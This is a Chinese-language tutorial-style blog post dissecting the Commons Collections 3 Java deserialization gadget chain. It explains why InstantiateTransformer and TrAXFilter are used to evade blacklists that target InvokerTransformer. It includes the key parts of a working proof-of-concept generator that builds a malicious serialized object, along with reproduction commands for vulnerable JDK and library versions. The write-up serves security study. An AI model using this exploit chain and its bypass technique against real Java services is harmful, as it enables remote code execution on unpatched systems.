java反序列化之CC3 利用链分析:InstantiateTransformer 的迂回

java反序列化之CC3 利用链分析:InstantiateTransformer 的迂回
CC3 利用链分析InstantiateTransformer 的迂回CommonsCollections3写在前面CC3 是个混血儿入口用 CC1 的AnnotationInvocationHandlerLazyMap 动态代理。执行体用 CC2 的TemplatesImpl字节码加载。但你可能会问CC1 的入口 CC2 的执行体直接把 CC2 的InvokerTransformer(newTransformer)塞进 CC1 的LazyMap不就完了为什么还要单独搞个 CC3答案在于黑名单对抗CC2 直接用InvokerTransformer调newTransformer而很多防护会盯InvokerTransformer。CC3 换了个更迂回的触发方式–用InstantiateTransformer去实例化TrAXFilter间接调到newTransformer从而避开对InvokerTransformer的封堵。前置知识见 前置基础篇。一、链路概览[同 CC1 入口] AnnotationInvocationHandler.readObject() - Proxy.entrySet - AIH.invoke - memberValues.get(entrySet) - LazyMap.get() - ChainedTransformer.transform() ConstantTransformer(TrAXFilter.class) - TrAXFilter.class InstantiateTransformer([Templates.class],[templates]) - new TrAXFilter(templates) - TrAXFilter.init - templates.newTransformer() - TemplatesImpl 加载 _bytecodes - newInstance() - Evil 静态块 - Runtime.exec入口和 CC1 一模一样区别只在LazyMap的factoryChainedTransformer内容CC1 是Runtime.exec反射链CC3 是InstantiateTransformerTrAXFilter。二、入口同 CC1入口部分完全照搬 CC1详见 CC1 篇内层 AIH 的memberValuesLazyMapfactoryChainedTransformer。以内层 AIH 为 handler 建 Map 动态代理。外层 AIH 的memberValues 该代理。序列化外层 AIH反序列化时readObject调proxyMap.entrySet()- 内层invoke-memberValues.get(entrySet)-LazyMap.get()-ChainedTransformer.transform()。同样受 JDK 8u71 限制入口是 AIH。三、执行体InstantiateTransformer TrAXFilter3.1 InstantiateTransformer实例化任意类InstantiateTransformer是 CC 库的另一个 Transformer它的transform接收一个Class用预设的构造参数实例化它// InstantiateTransformer.transformpublicObjecttransform(Objectinput){Class?cls(Class?)input;Constructor?concls.getConstructor(iParamTypes);// 找构造器returncon.newInstance(iArgs);// ★ 实例化}即transform(SomeClass.class)-new SomeClass(预设参数)。3.2 TrAXFilter间接调 newTransformerTrAXFiltercom.sun...trax.TrAXFilter是个 XSLT 过滤器它的构造函数接收Templates并在内部调templates.newTransformer()publicTrAXFilter(Templatestemplates)throwsTransformerConfigurationException{_templatestemplates;_transformer(TransformerImpl)templates.newTransformer();// ★ 构造时触发// ...}3.3 串起来CC3 的ChainedTransformerTransformer[]transformersnewTransformer[]{newConstantTransformer(TrAXFilter.class),// - TrAXFilter.classnewInstantiateTransformer(newClass[]{Templates.class},newObject[]{templates})// - new TrAXFilter(templates)};ChainedTransformerrealChainnewChainedTransformer(transformers);执行流程ConstantTransformer(TrAXFilter.class).transform(...)- 返回TrAXFilter.class。InstantiateTransformer.transform(TrAXFilter.class)- 反射new TrAXFilter(templates)。TrAXFilter构造函数里templates.newTransformer()-TemplatesImpl加载_bytecodes-newInstance()-Evil静态块 -Runtime.exec(calc)。TemplatesImpl的构造同 CC2_bytecodes_name_tfactory。四、为什么这么绕CC3 存在的意义对比 CC2 的执行体InvokerTransformer(newTransformer).transform(templates)直接对TemplatesImpl调newTransformer。CC3 的执行体绕了个弯InstantiateTransformer-new TrAXFilter(templates)- 构造里调newTransformer。为什么要绕因为InvokerTransformer是反序列化防护的重点盯防对象它太通用、太危险能调任意方法。一些黑名单/RASP 会封InvokerTransformer或它的transform。CC3 的精明之处整个ChainedTransformer里没有InvokerTransformer只有ConstantTransformer和InstantiateTransformer。newTransformer不是被直接调用的而是藏在TrAXFilter构造函数内部–黑名单很难覆盖到这种通过实例化某个类间接触发的路径。所以 CC3 的定位是绕过针对 InvokerTransformer 的黑名单。代价是入口仍是 CC1受 8u71 限制所以它不是万能的。五、完整 POCCC3Gen.java关键部分入口同 CC1执行体换成 InstantiateTransformer// 1. 恶意 translet 字节码 - TemplatesImpl同 CC2byte[]evilBytesFiles.readAllBytes(Paths.get(Evil.class));TemplatesImpltemplatesnewTemplatesImpl();setField(templates,_bytecodes,newbyte[][]{evilBytes});setField(templates,_name,Evil);setField(templates,_tfactory,newTransformerFactoryImpl());// 2. 执行体InstantiateTransformer - new TrAXFilter(templates)Transformer[]transformersnewTransformer[]{newConstantTransformer(TrAXFilter.class),newInstantiateTransformer(newClass[]{Templates.class},newObject[]{templates})};ChainedTransformerrealChainnewChainedTransformer(transformers);// 3. LazyMap同 CC1MaplazyMapLazyMap.decorate(newHashMap(),realChain);// 4. 两层 AIH Proxy同 CC1ObjectinnerAIHaihCtor.newInstance(Override.class,lazyMap);MapproxyMap(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class},(InvocationHandler)innerAIH);ObjectouterAIHaihCtor.newInstance(Override.class,proxyMap);// 5. 序列化六、复现环境JDK 8u65 8u71 CommonsCollections 3.1java -cp .;commons-collections-3.1.jar CC3Gen java -cp .;commons-collections-3.1.jar Deserialize cc3.sercmd 输出readObject threw: FunctorException: InstantiateTransformer: Constructor threw an exception计算器已弹出。异常来自TrAXFilter构造函数newTransformer内部加载字节码、实例化 Evil、静态块执行 calc 完成后构造函数后续操作抛异常被InstantiateTransformer包成FunctorException。calc 在异常前已弹。七、小结CC3 CC1 入口 CC2 执行体但执行体刻意避开InvokerTransformer改用InstantiateTransformerTrAXFilter间接触发。它是黑名单对抗思路的典范危险操作可以藏在构造函数里TrAXFilter构造调newTransformer这种实例化即触发的模式让黑名单难以穷举。不要只盯单个 Transformer 类封了InvokerTransformer还有InstantiateTransformer能实例化任意类。但 CC3 的入口仍是 AIH所以 8u71 之后同样失效。下一篇 CC4我们把 CC2 的入口PriorityQueue和 CC3 的执行体InstantiateTransformerTrAXFilter组合–既不依赖 AIH又绕开 InvokerTransformer。参考ysoserial CommonsCollections3https://github.com/frohoff/ysoserial